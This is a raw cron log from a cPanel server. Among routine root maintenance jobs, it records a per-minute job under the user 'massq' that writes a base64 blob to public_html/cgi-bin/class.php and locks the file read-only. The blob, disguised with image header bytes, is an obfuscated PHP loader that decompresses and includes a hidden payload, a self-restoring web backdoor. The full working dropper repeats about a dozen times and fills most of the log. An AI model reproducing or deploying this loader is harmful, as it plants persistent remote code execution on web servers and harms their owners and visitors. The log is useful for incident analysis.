Sep  3 04:53:01 server CROND[13223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:54:01 server CROND[13700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:54:01 server CROND[13701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:54:01 server CROND[13702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:55:01 server CROND[14092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:55:01 server CROND[14093]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 04:55:01 server CROND[14096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:55:01 server CROND[14095]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:55:01 server CROND[14097]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:55:01 server CROND[14101]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 04:55:01 server CROND[14098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:56:01 server CROND[14912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:56:01 server CROND[14914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:56:01 server CROND[14913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:57:01 server CROND[15316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:57:01 server CROND[15315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:57:01 server CROND[15317]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 04:57:01 server CROND[15318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:58:01 server CROND[15693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:58:01 server CROND[15694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:58:01 server CROND[15697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:59:01 server CROND[16180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:59:01 server CROND[16182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:59:01 server CROND[16181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:00:01 server CROND[16582]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 05:00:01 server CROND[16583]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 05:00:01 server CROND[16587]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 05:00:01 server CROND[16586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:00:01 server CROND[16590]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:00:01 server CROND[16595]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:00:01 server CROND[16585]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 05:00:01 server CROND[16598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:00:01 server CROND[16599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:01:01 server CROND[17445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:01:01 server CROND[17444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:01:01 server CROND[17447]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 05:01:01 server CROND[17448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:01:01 server run-parts(/etc/cron.hourly)[17447]: starting 0anacron
Sep  3 05:01:01 server run-parts(/etc/cron.hourly)[17466]: finished 0anacron
Sep  3 05:02:01 server CROND[17835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:02:01 server CROND[17836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:02:01 server CROND[17837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:03:01 server CROND[18232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:03:01 server CROND[18233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:03:01 server CROND[18234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:04:01 server CROND[18713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:04:01 server CROND[18714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:04:01 server CROND[18715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:05:01 server CROND[19113]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:05:01 server CROND[19116]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 05:05:01 server CROND[19117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
